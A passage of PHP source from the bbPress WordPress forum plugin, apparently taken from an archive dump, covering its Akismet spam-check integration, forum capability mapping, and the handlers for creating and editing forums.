			$user = $current_user->user_login;
		}

		// This used to be akismet_microtime() but it was removed in 3.0
		$mtime        = explode( ' ', microtime() );
		$message_time = $mtime[1] + $mtime[0];

		// Setup the event to be saved
		$event = array(
			'time'    => $message_time,
			'message' => $message,
			'event'   => $event,
			'user'    => $user,
		);

		// Save the event data
		add_post_meta( $post_id, '_bbp_akismet_history', $event );
	}

	/**
	 * Get the Akismet history of a Post
	 *
	 * @since 2.0.0 bbPress (r3308)
	 *
	 * @param int $post_id
	 *
	 * @return array Array of Akismet history
	 */
	public function get_post_history( $post_id = 0 ) {

		// Retrieve any previous history
		$history = get_post_meta( $post_id, '_bbp_akismet_history' );

		// Sort it by the time recorded
		usort( $history, 'akismet_cmp_time' );

		return $history;
	}

	/**
	 * Handle any terms submitted with a post flagged as spam
	 *
	 * @since 2.0.0 bbPress (r3308)
	 *
	 * @param string $terms Comma-separated list of terms
	 * @param int $topic_id
	 * @param int $reply_id
	 *
	 * @return array Array of existing topic terms
	 */
	public function filter_post_terms( $terms = '', $topic_id = 0, $reply_id = 0 ) {

		// Validate the reply_id and topic_id
		$reply_id = bbp_get_reply_id( $reply_id );
		$topic_id = bbp_get_topic_id( $topic_id );

		// Get any pre-existing terms
		$existing_terms = bbp_get_topic_tag_names( $topic_id );

		// Save the terms for later in case the reply gets hammed
		if ( ! empty( $terms ) ) {
			update_post_meta( $reply_id, '_bbp_akismet_spam_terms', $terms );
		}

		// Keep the topic tags the same for now
		return $existing_terms;
	}

	/**
	 * Submit data to Akismet service with unique bbPress User Agent
	 *
	 * This code is directly taken from the akismet_http_post() function and
	 * documented to bbPress 2.0 standard.
	 *
	 * @since 2.0.0 bbPress (r3466)
	 *
	 * @param string $request The request we are sending
	 * @param string $host The host to send our request to
	 * @param string $path The path from the host
	 * @param string $port The port to use
	 * @param string $ip Optional Override $host with an IP address
	 * @return mixed WP_Error on error, array on success, empty on failure
	 */
	private function http_post( $request, $host, $path, $port = 80, $ip = '' ) {

		// Preload required variables
		$bbp_version  = bbp_get_version();
		$http_host    = $host;
		$blog_charset = get_option( 'blog_charset' );
		$response     = '';

		// Untque User Agent
		$akismet_ua     = "bbPress/{$bbp_version} | ";
		$akismet_ua    .= 'Akismet/' . constant( 'AKISMET_VERSION' );

		// Use specific IP (if provided)
		if ( ! empty( $ip ) && long2ip( ip2long( $ip ) ) ) {
			$http_host = $ip;
		}

		// Setup the arguments
		$http_args = array(
			'body'             => $request,
			'headers'          => array(
				'Content-Type' => 'application/x-www-form-urlencoded; charset=' . $blog_charset,
				'Host'         => $host,
				'User-Agent'   => $akismet_ua
			),
			'httpversion'      => '1.0',
			'timeout'          => 15
		);

		// Where we are sending our request
		$akismet_url = 'http://' . $http_host . $path;

		// Send the request
		$response    = wp_remote_post( $akismet_url, $http_args );

		// Bail if the response is an error
		if ( is_wp_error( $response ) ) {
			return '';
		}

		// No errors so return response
		return array( $response['headers'], $response['body'] );
	}

	/**
	 * Return a user's roles on this site (including super_admin)
	 *
	 * @since 2.3.0 bbPress (r4812)
	 *
	 * @param int $user_id
	 *
	 * @return boolean
	 */
	private function get_user_roles( $user_id = 0 ) {

		// Default return value
		$roles = array();

		// Bail if cannot query the user
		if ( ! class_exists( 'WP_User' ) || empty( $user_id ) ) {
			return false;
		}

		// User ID
		$user = new WP_User( $user_id );
		if ( isset( $user->roles ) ) {
			$roles = (array) $user->roles;
		}

		// Super admin
		if ( is_multisite() && is_super_admin( $user_id ) ) {
			$roles[] = 'super_admin';
		}

		return implode( ',', $roles );
	}

	/** Admin *****************************************************************/

	/**
	 * Add Aksimet History meta-boxes to topics and replies
	 *
	 * @since 2.4.0 bbPress (r5049)
	 */
	public function add_metaboxes() {

		// Topics
		add_meta_box(
			'bbp_akismet_topic_history',
			__( 'Akismet History', 'bbpress' ),
			array( $this, 'history_metabox' ),
			bbp_get_topic_post_type(),
			'normal',
			'core'
		);

		// Replies
		add_meta_box(
			'bbp_akismet_reply_history',
			__( 'Akismet History', 'bbpress' ),
			array( $this, 'history_metabox' ),
			bbp_get_reply_post_type(),
			'normal',
			'core'
		);
	}

	/**
	 * Output for Akismet History meta-box
	 *
	 * @since 2.4.0 bbPress (r5049)
	 */
	public function history_metabox() {

		// Post ID
		$history = $this->get_post_history( get_the_ID() ); ?>

		<div class="akismet-history" style="margin: 13px 0;">

			<?php if ( ! empty( $history ) ) : ?>

				<table>
					<tbody>

						<?php foreach ( $history as $row ) : ?>

							<tr>
								<td style="color: #999; text-align: right; white-space: nowrap;">
									<span title="<?php echo esc_attr( date( 'D d M Y @ h:i:m a', $row['time'] ) . ' GMT' ); ?>">
										<?php bbp_time_since( $row['time'], false, true ); ?>
									</span>
								</td>
								<td style="padding-left: 5px;">
									<?php echo esc_html( $row['message'] ); ?>
								</td>
							</tr>

						<?php endforeach; ?>
					</tbody>
				</table>

			<?php else : ?>

				<p><?php esc_html_e( 'No recorded history. Akismet has not checked this post.', 'bbpress' ); ?></p>

			<?php endif; ?>

		</div>

		<?php
	}
}
endif;
includes/forums/capabilities.php000066600000016005151771460310013042 0ustar00<?php

/**
 * bbPress Forum Capabilites
 *
 * Used to map forum capabilities to WordPress's existing capabilities.
 *
 * @package bbPress
 * @subpackage Capabilities
 */

/**
 * Return forum capabilities
 *
 * @since 2.0.0 bbPress (r2593)
 *
 * @return array Forum capabilities
 */
function bbp_get_forum_caps() {

	// Filter & return
	return (array) apply_filters( 'bbp_get_forum_caps', array(
		'edit_posts'          => 'edit_forums',
		'edit_others_posts'   => 'edit_others_forums',
		'publish_posts'       => 'publish_forums',
		'read_private_posts'  => 'read_private_forums',
		'read_hidden_posts'   => 'read_hidden_forums',
		'delete_posts'        => 'delete_forums',
		'delete_others_posts' => 'delete_others_forums'
	) );
}

/**
 * Maps forum capabilities
 *
 * @since 2.2.0 bbPress (r4242)
 *
 * @param array $caps Capabilities for meta capability
 * @param string $cap Capability name
 * @param int $user_id User id
 * @param array $args Arguments
 * @return array Actual capabilities for meta capability
 */
function bbp_map_forum_meta_caps( $caps = array(), $cap = '', $user_id = 0, $args = array() ) {

	// What capability is being checked?
	switch ( $cap ) {

		/** Reading ***********************************************************/

		case 'read_private_forums' :
		case 'read_hidden_forums'  :

			// Moderators can always read private/hidden forums
			if ( user_can( $user_id, 'moderate' ) ) {
				$caps = array( 'moderate' );
			}

			break;

		case 'read_forum' :

			// User cannot spectate
			if ( ! user_can( $user_id, 'spectate' ) ) {
				$caps = array( 'do_not_allow' );

			// Do some post ID based logic
			} else {

				// Bail if no post ID
				if ( empty( $args[0] ) ) {
					break;
				}

				// Get the post.
				$_post = get_post( $args[0] );
				if ( ! empty( $_post ) ) {

					// Get caps for post type object
					$post_type = get_post_type_object( $_post->post_type );

					// Post is public
					if ( bbp_get_public_status_id() === $_post->post_status ) {
						$caps = array( 'spectate' );

					// User is author so allow read
					} elseif ( (int) $user_id === (int) $_post->post_author ) {
						$caps = array( 'spectate' );

					// Moderators can always read forum content
					} elseif ( user_can( $user_id, 'moderate', $_post->ID ) ) {
						$caps = array( 'spectate' );

					// Private
					} elseif ( bbp_get_hidden_status_id() === $_post->post_status ) {
						$caps = array( $post_type->cap->read_hidden_posts );

					// Hidden
					} elseif ( bbp_get_private_status_id() === $_post->post_status ) {
						$caps = array( $post_type->cap->read_private_posts );

					// Unknown, so map to private
					} else {
						$caps = array( $post_type->cap->read_private_posts );
					}
				}
			}

			break;

		/** Publishing ********************************************************/

		case 'publish_forums'  :

			// Moderators can always edit
			if ( user_can( $user_id, 'moderate' ) ) {
				$caps = array( 'moderate' );
			}

			break;

		/** Editing ***********************************************************/

		// Used primarily in wp-admin
		case 'edit_forums'         :
		case 'edit_others_forums'  :

			// Moderators can always edit
			if ( bbp_is_user_keymaster( $user_id ) ) {
				$caps = array( 'spectate' );

			// Otherwise, block
			} else {
				$caps = array( 'do_not_allow' );
			}

			break;

		// Used everywhere
		case 'edit_forum' :

			// Bail if no post ID
			if ( empty( $args[0] ) ) {
				break;
			}

			// Get the post.
			$_post = get_post( $args[0] );
			if ( ! empty( $_post ) ) {

				// Get caps for post type object
				$post_type = get_post_type_object( $_post->post_type );

				// Add 'do_not_allow' cap if user is spam or deleted
				if ( bbp_is_user_inactive( $user_id ) ) {
					$caps = array( 'do_not_allow' );

				// Moderators can always read forum content
				} elseif ( user_can( $user_id, 'moderate', $_post->ID ) ) {
					$caps = array( 'spectate' );

				// User is author so allow edit if not in admin
				} elseif ( ! is_admin() && ( (int) $user_id === (int) $_post->post_author ) ) {
					$caps = array( $post_type->cap->edit_posts );

				// Unknown, so map to edit_others_posts
				} else {
					$caps = array( $post_type->cap->edit_others_posts );
				}
			}

			break;

		/** Deleting **********************************************************/

		// Allow forum authors to delete forums (for BuddyPress groups, etc)
		case 'delete_forum' :

			// Bail if no post ID
			if ( empty( $args[0] ) ) {
				break;
			}

			// Get the post.
			$_post = get_post( $args[0] );
			if ( ! empty( $_post ) ) {

				// Get caps for post type object
				$post_type = get_post_type_object( $_post->post_type );

				// Add 'do_not_allow' cap if user is spam or deleted
				if ( bbp_is_user_inactive( $user_id ) ) {
					$caps = array( 'do_not_allow' );

				// User is author so allow to delete
				} elseif ( (int) $user_id === (int) $_post->post_author ) {
					$caps = array( $post_type->cap->delete_posts );

				// Unknown so map to delete_others_posts
				} else {
					$caps = array( $post_type->cap->delete_others_posts );
				}
			}

			break;

		/** Admin *************************************************************/

		// Forum admin area.
		case 'bbp_forums_admin' :
			$caps = array( 'edit_forums' );
			break;
	}

	// Filter & return
	return (array) apply_filters( 'bbp_map_forum_meta_caps', $caps, $cap, $user_id, $args );
}

/**
 * Can a user moderate a forum?
 *
 * @since 2.6.0 bbPress (r5834)
 *
 * @param int $user_id User id.
 * @param int $forum_id Forum id.
 *
 * @return bool Return true if user is moderator of forum
 */
function bbp_is_user_forum_moderator( $user_id = 0, $forum_id = 0 ) {
	$user_id  = bbp_get_user_id( $user_id, false, empty( $user_id ) );
	$forum_id = bbp_get_forum_id( $forum_id );
	$retval   = user_can( $user_id, 'moderate', $forum_id );

	// Filter & return
	return (bool) apply_filters( 'bbp_is_user_forum_moderator', $retval, $user_id, $forum_id );
}

/**
 * Filter an array of forum IDs that are being excluded, and remove any forum
 * IDs a user explicitly has access to.
 *
 * This typically means private or hidden forums the user has moderation rights
 * to, but it can be filtered to mean just about anything.
 *
 * This function filters the return values of the following functions:
 * - `bbp_get_private_forum_ids()`
 * - `bbp_get_hidden_forum_ids()`
 *
 * @since 2.6.0 bbPress (r6426)
 *
 * @param array $forum_ids Forum IDs to check if the user ID is a moderator of
 * @param int   $user_id   User ID to check if is a moderator of forums
 *
 * @return array
 */
function bbp_allow_forums_of_user( $forum_ids = array(), $user_id = 0 ) {

	// Store the original forum IDs
	$original_forum_ids = $forum_ids;

	// Per-forum Moderators
	if ( bbp_allow_forum_mods() ) {

		// Loop through forum IDs
		foreach ( $forum_ids as $key => $forum_id ) {

			// Unset forum ID if user is a moderator
			if ( bbp_is_user_forum_moderator( $user_id, $forum_id ) ) {
				unset( $forum_ids[ $key ] );
			}
		}
	}

	// Filter & return
	return (array) apply_filters( 'bbp_allow_forums_of_user', $forum_ids, $user_id, $original_forum_ids );
}
includes/forums/functions.php000066600000240147151771460310012427 0ustar00<?php

/**
 * bbPress Forum Functions
 *
 * @package bbPress
 * @subpackage Functions
 */

// Exit if accessed directly
defined( 'ABSPATH' ) || exit;

/** Insert ********************************************************************/

/**
 * A wrapper for wp_insert_post() that also includes the necessary meta values
 * for the forum to function properly.
 *
 * @since 2.0.0 bbPress (r3349)
 *
 * @param array $forum_data Forum post data
 * @param arrap $forum_meta Forum meta data
 */
function bbp_insert_forum( $forum_data = array(), $forum_meta = array() ) {

	// Forum
	$forum_data = bbp_parse_args( $forum_data, array(
		'post_parent'    => 0, // forum ID
		'post_status'    => bbp_get_public_status_id(),
		'post_type'      => bbp_get_forum_post_type(),
		'post_author'    => bbp_get_current_user_id(),
		'post_password'  => '',
		'post_content'   => '',
		'post_title'     => '',
		'menu_order'     => 0,
		'comment_status' => 'closed'
	), 'insert_forum' );

	// Insert forum
	$forum_id = wp_insert_post( $forum_data, false );

	// Bail if no forum was added
	if ( empty( $forum_id ) ) {
		return false;
	}

	// Forum meta
	$forum_meta = bbp_parse_args( $forum_meta, array(
		'forum_type'           => 'forum',
		'status'               => 'open',
		'reply_count'          => 0,
		'topic_count'          => 0,
		'topic_count_hidden'   => 0,
		'total_reply_count'    => 0,
		'total_topic_count'    => 0,
		'last_topic_id'        => 0,
		'last_reply_id'        => 0,
		'last_active_id'       => 0,
		'last_active_time'     => 0,
		'forum_subforum_count' => 0,
	), 'insert_forum_meta' );

	// Insert forum meta
	foreach ( $forum_meta as $meta_key => $meta_value ) {

		// Prefix if not prefixed
		if ( '_bbp_' !== substr( $meta_key, 0, 5 ) ) {
			$meta_key = '_bbp_' . $meta_key;
		}

		// Update the meta
		update_post_meta( $forum_id, $meta_key, $meta_value );
	}

	// Update the forum and hierarchy
	bbp_update_forum( array(
		'forum_id'    => $forum_id,
		'post_parent' => $forum_data['post_parent']
	) );

	// Maybe make private
	if ( bbp_is_forum_private( $forum_id, false ) ) {
		bbp_privatize_forum( $forum_id );

	// Maybe make hidden
	} elseif ( bbp_is_forum_hidden( $forum_id, false ) ) {
		bbp_hide_forum( $forum_id );

	// Publicize
	} else {
		bbp_publicize_forum( $forum_id );
	}

	/**
	 * Fires after forum has been inserted via `bbp_insert_forum`.
	 *
	 * @since 2.6.0 bbPress (r6036)
	 *
	 * @param int $forum_id The forum id.
	 */
	do_action( 'bbp_insert_forum', (int) $forum_id );

	// Bump the last changed cache
	wp_cache_set( 'last_changed', microtime(), 'bbpress_posts' );

	// Return forum_id
	return $forum_id;
}

/** Post Form Handlers ********************************************************/

/**
 * Handles the front end forum submission
 *
 * @param string $action The requested action to compare this function to
 */
function bbp_new_forum_handler( $action = '' ) {

	// Bail if action is not bbp-new-forum
	if ( 'bbp-new-forum' !== $action ) {
		return;
	}

	// Nonce check
	if ( ! bbp_verify_nonce_request( 'bbp-new-forum' ) ) {
		bbp_add_error( 'bbp_new_forum_nonce', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );
		return;
	}

	// Define local variable(s)
	$view_all = false;
	$forum_parent_id = $forum_author = 0;
	$forum_title = $forum_content = '';
	$anonymous_data = array();

	/** Forum Author **********************************************************/

	// User cannot create forums
	if ( ! current_user_can( 'publish_forums' ) ) {
		bbp_add_error( 'bbp_forum_permission', __( '<strong>Error</strong>: You do not have permission to create new forums.', 'bbpress' ) );
		return;
	}

	// Forum author is current user
	$forum_author = bbp_get_current_user_id();

	// Remove kses filters from title and content for capable users and if the nonce is verified
	if ( current_user_can( 'unfiltered_html' ) && ! empty( $_POST['_bbp_unfiltered_html_forum'] ) && wp_create_nonce( 'bbp-unfiltered-html-forum_new' ) === $_POST['_bbp_unfiltered_html_forum'] ) {
		remove_filter( 'bbp_new_forum_pre_title',   'wp_filter_kses'      );
		remove_filter( 'bbp_new_forum_pre_content', 'bbp_encode_bad',  10 );
		remove_filter( 'bbp_new_forum_pre_content', 'bbp_filter_kses', 30 );
	}

	/** Forum Title ***********************************************************/

	if ( ! empty( $_POST['bbp_forum_title'] ) ) {
		$forum_title = sanitize_text_field( $_POST['bbp_forum_title'] );
	}

	// Filter and sanitize
	$forum_title = apply_filters( 'bbp_new_forum_pre_title', $forum_title );

	// No forum title
	if ( empty( $forum_title ) ) {
		bbp_add_error( 'bbp_forum_title', __( '<strong>Error</strong>: Your forum needs a title.', 'bbpress' ) );
	}

	// Title too long
	if ( bbp_is_title_too_long( $forum_title ) ) {
		bbp_add_error( 'bbp_forum_title', __( '<strong>Error</strong>: Your title is too long.', 'bbpress' ) );
	}

	/** Forum Content *********************************************************/

	if ( ! empty( $_POST['bbp_forum_content'] ) ) {
		$forum_content = $_POST['bbp_forum_content'];
	}

	// Filter and sanitize
	$forum_content = apply_filters( 'bbp_new_forum_pre_content', $forum_content );

	// No forum content
	if ( empty( $forum_content ) ) {
		bbp_add_error( 'bbp_forum_content', __( '<strong>Error</strong>: Your forum description cannot be empty.', 'bbpress' ) );
	}

	/** Forum Parent **********************************************************/

	// Forum parent was passed (the norm)
	if ( ! empty( $_POST['bbp_forum_parent_id'] ) ) {
		$forum_parent_id = bbp_get_forum_id( $_POST['bbp_forum_parent_id'] );
	}

	// Filter and sanitize
	$forum_parent_id = apply_filters( 'bbp_new_forum_pre_parent_id', $forum_parent_id );

	// No forum parent was passed (should never happen)
	if ( empty( $forum_parent_id ) ) {
		bbp_add_error( 'bbp_new_forum_missing_parent', __( '<strong>Error</strong>: Your forum must have a parent.', 'bbpress' ) );

	// Forum exists
	} elseif ( ! empty( $forum_parent_id ) ) {

		// Forum is a category
		if ( bbp_is_forum_category( $forum_parent_id ) ) {
			bbp_add_error( 'bbp_new_forum_forum_category', __( '<strong>Error</strong>: This forum is a category. No forums can be created in this forum.', 'bbpress' ) );
		}

		// Forum is closed and user cannot access
		if ( bbp_is_forum_closed( $forum_parent_id ) && ! current_user_can( 'edit_forum', $forum_parent_id ) ) {
			bbp_add_error( 'bbp_new_forum_forum_closed', __( '<strong>Error</strong>: This forum has been closed to new forums.', 'bbpress' ) );
		}

		// Forum is private and user cannot access
		if ( bbp_is_forum_private( $forum_parent_id ) && ! current_user_can( 'read_forum', $forum_parent_id ) ) {
			bbp_add_error( 'bbp_new_forum_forum_private', __( '<strong>Error</strong>: This forum is private and you do not have the capability to read or create new forums in it.', 'bbpress' ) );
		}

		// Forum is hidden and user cannot access
		if ( bbp_is_forum_hidden( $forum_parent_id ) && ! current_user_can( 'read_forum', $forum_parent_id ) ) {
			bbp_add_error( 'bbp_new_forum_forum_hidden', __( '<strong>Error</strong>: This forum is hidden and you do not have the capability to read or create new forums in it.', 'bbpress' ) );
		}
	}

	/** Forum Flooding ********************************************************/

	if ( ! bbp_check_for_flood( $anonymous_data, $forum_author ) ) {
		bbp_add_error( 'bbp_forum_flood', __( '<strong>Error</strong>: Slow down; you move too fast.', 'bbpress' ) );
	}

	/** Forum Duplicate *******************************************************/

	if ( ! bbp_check_for_duplicate( array( 'post_type' => bbp_get_forum_post_type(), 'post_author' => $forum_author, 'post_content' => $forum_content, 'anonymous_data' => $anonymous_data ) ) ) {
		bbp_add_error( 'bbp_forum_duplicate', __( '<strong>Error</strong>: This forum already exists.', 'bbpress' ) );
	}

	/** Forum Bad Words *******************************************************/

	if ( ! bbp_check_for_moderation( $anonymous_data, $forum_author, $forum_title, $forum_content, true ) ) {
		bbp_add_error( 'bbp_forum_moderation', __( '<strong>Error</strong>: Your forum cannot be created at this time.', 'bbpress' ) );
	}

	/** Forum Moderation ******************************************************/

	$post_status = bbp_get_public_status_id();
	if ( ! bbp_check_for_moderation( $anonymous_data, $forum_author, $forum_title, $forum_content ) ) {
		$post_status = bbp_get_pending_status_id();
	}

	/** Additional Actions (Before Save) **************************************/

	do_action( 'bbp_new_forum_pre_extras', $forum_parent_id );

	// Bail if errors
	if ( bbp_has_errors() ) {
		return;
	}

	/** No Errors *************************************************************/

	// Add the content of the form to $forum_data as an array
	// Just in time manipulation of forum data before being created
	$forum_data = apply_filters( 'bbp_new_forum_pre_insert', array(
		'post_author'    => $forum_author,
		'post_title'     => $forum_title,
		'post_content'   => $forum_content,
		'post_parent'    => $forum_parent_id,
		'post_status'    => $post_status,
		'post_type'      => bbp_get_forum_post_type(),
		'comment_status' => 'closed'
	) );

	// Insert forum
	$forum_id = wp_insert_post( $forum_data, true );

	/** No Errors *************************************************************/

	if ( ! empty( $forum_id ) && ! is_wp_error( $forum_id ) ) {

		/** Trash Check *******************************************************/

		// If the forum is trash, or the forum_status is switched to
		// trash, trash it properly
		if ( ( get_post_field( 'post_status', $forum_id ) === bbp_get_trash_status_id() ) || ( $forum_data['post_status'] === bbp_get_trash_status_id() ) ) {

			// Trash the reply
			wp_trash_post( $forum_id );

			// Force view=all
			$view_all = true;
		}

		/** Spam Check ********************************************************/

		// If reply or forum are spam, officially spam this reply
		if ( $forum_data['post_status'] === bbp_get_spam_status_id() ) {
			add_post_meta( $forum_id, '_bbp_spam_meta_status', bbp_get_public_status_id() );

			// Force view=all
			$view_all = true;
		}

		/** Update counts, etc... *********************************************/

		do_action( 'bbp_new_forum', array(
			'forum_id'           => $forum_id,
			'post_parent'        => $forum_parent_id,
			'forum_author'       => $forum_author,
			'last_topic_id'      => 0,
			'last_reply_id'      => 0,
			'last_active_id'     => 0,
			'last_active_time'   => 0,
			'last_active_status' => bbp_get_public_status_id()
		) );

		/** Additional Actions (After Save) ***********************************/

		do_action( 'bbp_new_forum_post_extras', $forum_id );

		/** Redirect **********************************************************/

		// Redirect to
		$redirect_to  = bbp_get_redirect_to();

		// Get the forum URL
		$redirect_url = bbp_get_forum_permalink( $forum_id, $redirect_to );

		// Add view all?
		if ( bbp_get_view_all() || ! empty( $view_all ) ) {

			// User can moderate, so redirect to forum with view all set
			if ( current_user_can( 'moderate', $forum_id ) ) {
				$redirect_url = bbp_add_view_all( $redirect_url );

			// User cannot moderate, so redirect to forum
			} else {
				$redirect_url = bbp_get_forum_permalink( $forum_id );
			}
		}

		// Allow to be filtered
		$redirect_url = apply_filters( 'bbp_new_forum_redirect_to', $redirect_url, $redirect_to );

		/** Successful Save ***************************************************/

		// Redirect back to new forum
		bbp_redirect( $redirect_url );

	/** Errors ****************************************************************/

	// WP_Error
	} elseif ( is_wp_error( $forum_id ) ) {
		bbp_add_error( 'bbp_forum_error', sprintf( __( '<strong>Error</strong>: The following problem(s) occurred: %s', 'bbpress' ), $forum_id->get_error_message() ) );

	// Generic error
	} else {
		bbp_add_error( 'bbp_forum_error', __( '<strong>Error</strong>: The forum was not created.', 'bbpress' ) );
	}
}

/**
 * Handles the front end edit forum submission
 *
 * @param string $action The requested action to compare this function to
 */
function bbp_edit_forum_handler( $action = '' ) {

	// Bail if action is not bbp-edit-forum
	if ( 'bbp-edit-forum' !== $action ) {
		return;
	}

	// Define local variable(s)
	$anonymous_data = array();
	$forum = $forum_id = $forum_parent_id = 0;
	$forum_title = $forum_content = $forum_edit_reason = '';

	/** Forum *****************************************************************/

	// Forum id was not passed
	if ( empty( $_POST['bbp_forum_id'] ) ) {
		bbp_add_error( 'bbp_edit_forum_id', __( '<strong>Error</strong>: Forum ID not found.', 'bbpress' ) );
		return;

	// Forum id was passed
	} elseif ( is_numeric( $_POST['bbp_forum_id'] ) ) {
		$forum_id = (int) $_POST['bbp_forum_id'];
		$forum    = bbp_get_forum( $forum_id );
	}

	// Nonce check
	if ( ! bbp_verify_nonce_request( 'bbp-edit-forum_' . $forum_id ) ) {
		bbp_add_error( 'bbp_edit_forum_nonce', __( '<strong>Error</strong>: Are you sure you wanted to do that?', 'bbpress' ) );
		return;

	// Forum does not exist
	} elseif ( empty( $forum ) ) {
		bbp_add_error( 'bbp_edit_forum_not_found', __( '<strong>Error</strong>: The forum you want to edit was not found.', 'bbpress' ) );
		return;

	// User cannot edit this forum
	} elseif ( ! current_user_can( 'edit_forum', $forum_id ) ) {
		bbp_add_error( 'bbp_edit_forum_permission', __( '<strong>Error</strong>: You do not have permission to edit that forum.', 'bbpress' ) );
		return;
	}

	// Remove kses filters from title and content for capable users and if the nonce is verified
	if ( current_user_can( 'unfiltered_html' ) && ! empty( $_POST['_bbp_unfiltered_html_forum'] ) && ( wp_create_nonce( 'bbp-unfiltered-html-forum_' . $forum_id ) === $_POST['_bbp_unfiltered_html_forum'] ) ) {
		remove_filter( 'bbp_edit_forum_pre_title',   'wp_filter_kses'      );
		remove_filter( 'bbp_edit_forum_pre_content', 'bbp_encode_bad',  10 );
		remove_filter( 'bbp_edit_forum_pre_content', 'bbp_filter_kses', 30 );
	}

	/** Forum Parent ***********************************************************/

	// Forum parent id was passed
	if ( ! empty( $_POST['bbp_forum_parent_id'] ) ) {
		$forum_parent_id = bbp_get_forum_id( $_POST['bbp_forum_parent_id'] );
	}

	// Current forum this forum is in
	$current_parent_forum_id = bbp_get_forum_parent_id( $forum_id );

	// Forum exists
	if ( ! empty( $forum_parent_id ) && ( $forum_parent_id !== $current_parent_forum_id ) ) {

		// Forum is closed and user cannot access
		if ( bbp_is_forum_closed( $forum_parent_id ) && ! current_user_can( 'edit_forum', $forum_parent_id ) ) {
			bbp_add_error( 'bbp_edit_forum_forum_closed', __( '<strong>Error</strong>: This forum has been closed to new forums.', 'bbpress' ) );
		}

		// Forum is private and user cannot access
		if ( bbp_is_forum_private( $forum_parent_id ) && ! current_user_can( 'read_forum', $forum_parent_id ) ) {
			bbp_add_error( 'bbp_edit_forum_forum_private', __( '<strong>Error</strong>: This forum is private and you do not have the capability to read or create new forums in it.', 'bbpress' ) );
		}

		// Forum is hidden and user cannot access
		if ( bbp_is_forum_hidden( $forum_parent_id ) && ! current_user_can( 'read_forum', $forum_parent_id ) ) {
			bbp_add_error( 'bbp_edit_forum_forum_hidden', __( '<strong>Error</strong>: This forum is hidden and you do not have the capability to read or create new forums in it.', 'bbpress' ) );
		}
	}

	/** Forum Title ***********************************************************/

	if ( ! empty( $_POST['bbp_forum_title'] ) ) {
		$forum_title = sanitize_text_field( $_POST['bbp_forum_title'] );
	}

	// Filter and sanitize
	$forum_title = apply_filters( 'bbp_edit_forum_pre_title', $forum_title, $forum_id );

	// No forum title
	if ( empty( $forum_title ) ) {
		bbp_add_error( 'bbp_edit_forum_title', __( '<strong>Error</strong>: Your forum needs a title.', 'bbpress' ) );
	}

	// Title too long
	if ( bbp_is_title_too_long( $forum_title ) ) {
		bbp_add_error( 'bbp_forum_title', __( '<strong>Error</strong>: Your title is too long.', 'bbpress' ) );
	}

	/** Forum Content *********************************************************/

	if ( ! empty( $_POST['bbp_forum_content'] ) ) {
		$forum_content = $_POST['bbp_forum_content'];
	}

	// Filter and sanitize
	$forum_content = apply_filters( 'bbp_edit_forum_pre_content', $forum_content, $forum_id );

	// No forum content
	if ( empty( $forum_content ) ) {
		bbp_add_error( 'bbp_edit_forum_content', __( '<strong>Error</strong>: Your forum description cannot be empty.', 'bbpress' ) );
	}

	/** Forum Bad Words *******************************************************/

	if ( ! bbp_check_for_moderation( $anonymous_data, bbp_get_forum_author_id( $forum_id ), $forum_title, $forum_content, true ) ) {
		bbp_add_error( 'bbp_forum_moderation', __( '<strong>Error</strong>: Your forum cannot be edited at this time.', 'bbpress' ) );
	}

	/** Forum Moderation ******************************************************/

	$post_status = bbp_get_public_status_id();
	if ( ! bbp_check_for_moderation( $anonymous_data, bbp_get_forum_author_id( $forum_id ), $forum_title, $forum_content ) ) {
		$post_status = bbp_get_pending_status_id();
	}

	/** Additional Actions (Before Save) **************************************/

	do_action( 'bbp_edit_forum_pre_extras', $forum_id );

	// Bail if errors
	if ( bbp_has_errors() ) {
		return;
	}

	/** No Errors *************************************************************/

	// Add the content of the form to $forum_data as an array
	// Just in time manipulation of forum data before being edited
	$forum_data = apply_filters( 'bbp_edit_forum_pre_insert', array(
		'ID'           => $forum_id,
		'post_title'   => $forum_title,
		'post_content' => $forum_content,
		'post_status'  => $post_status,
		'post_parent'  => $forum_parent_id
	) );

	// Insert forum
	$forum_id = wp_update_post( $forum_data );

	/** No Errors *************************************************************/

	if ( ! empty( $forum_id ) && ! is_wp_error( $forum_id ) ) {

		// Update counts, etc...
		do_action( 'bbp_edit_forum', array(
			'forum_id'           => $forum_id,
			'post_parent'        => $forum_parent_id,
			'forum_author'       => $forum->post_author,
			'last_topic_id'      => 0,
			'last_reply_id'      => 0,
			'last_active_id'     => 0,
			'last_active_time'   => 0,
			'last_active_status' => bbp_get_public_status_id()
		) );

		/** Revisions *********************************************************/

		// Update locks
		update_post_meta( $forum_id, '_edit_last', bbp_get_current_user_id() );
		delete_post_meta( $forum_id, '_edit_lock' );

		/**
		 * @todo omitted for now
		// Revision Reason
		if ( ! empty( $_POST['bbp_forum_edit_reason'] ) )
			$forum_edit_reason = sanitize_text_field( $_POST['bbp_forum_edit_reason'] );

		// Update revision log
		if ( ! empty( $_POST['bbp_log_forum_edit'] ) && ( "1" === $_POST['bbp_log_forum_edit'] ) && ( $revision_id = wp_save_post_revision( $forum_id ) ) ) {
			bbp_update_forum_revision_log( array(
				'forum_id'    => $forum_id,
				'revision_id' => $revision_id,
				'author_id'   => bbp_get_current_user_id(),
				'reason'      => $forum_edit_reason
			) );
		}

		// If the new forum parent id is not equal to the old forum parent
		// id, run the bbp_move_forum action and pass the forum's parent id
		// as the first argument and new forum parent id as the second.
		// @todo implement
		if ( $forum_id !== $forum->post_parent ) {
			bbp_move_forum_handler( $forum_parent_id, $forum->post_parent, $forum_id );
		}

		*/

		/** Additional Actions (After Save) ***********************************/

		do_action( 'bbp_edit_forum_post_extras', $forum_id );

		/** Redirect **********************************************************/

		// Redirect to
		$redirect_to = bbp_get_redirect_to();

		// View all?
		$view_all = bbp_get_view_all();

		// Get the forum URL
		$forum_url = bbp_get_forum_permalink( $forum_id, $redirect_to );

		// Add view all?
		if ( ! empty( $view_all ) ) {
			$forum_url = bbp_add_view_all( $forum_url );
		}

		// Allow to be filtered
		$forum_url = apply_filters( 'bbp_edit_forum_redirect_to', $forum_url, $view_all, $redirect_to );

		/** Successful Edit ***************************************************/

		// Redirect back to new forum
		bbp_redirect( $forum_url );

	/** Errors ****************************************************************/

	} else {
		$append_error = ( is_wp_error( $forum_id ) && $forum_id->get_error_message() ) ? $forum_id->get_error_message() . ' ' : '';
		bbp_add_error( 'bbp_forum_error', __( '<strong>Error</strong>: The following problem(s) have been found with your forum:' . $append_error . 'Please try again.', 'bbpress' ) );
	}
}

/**
 * Handle the saving of core forum metadata (Status, Visibility, and Type)
 *
 * @since 2.1.0 bbPress (r3678)
 *
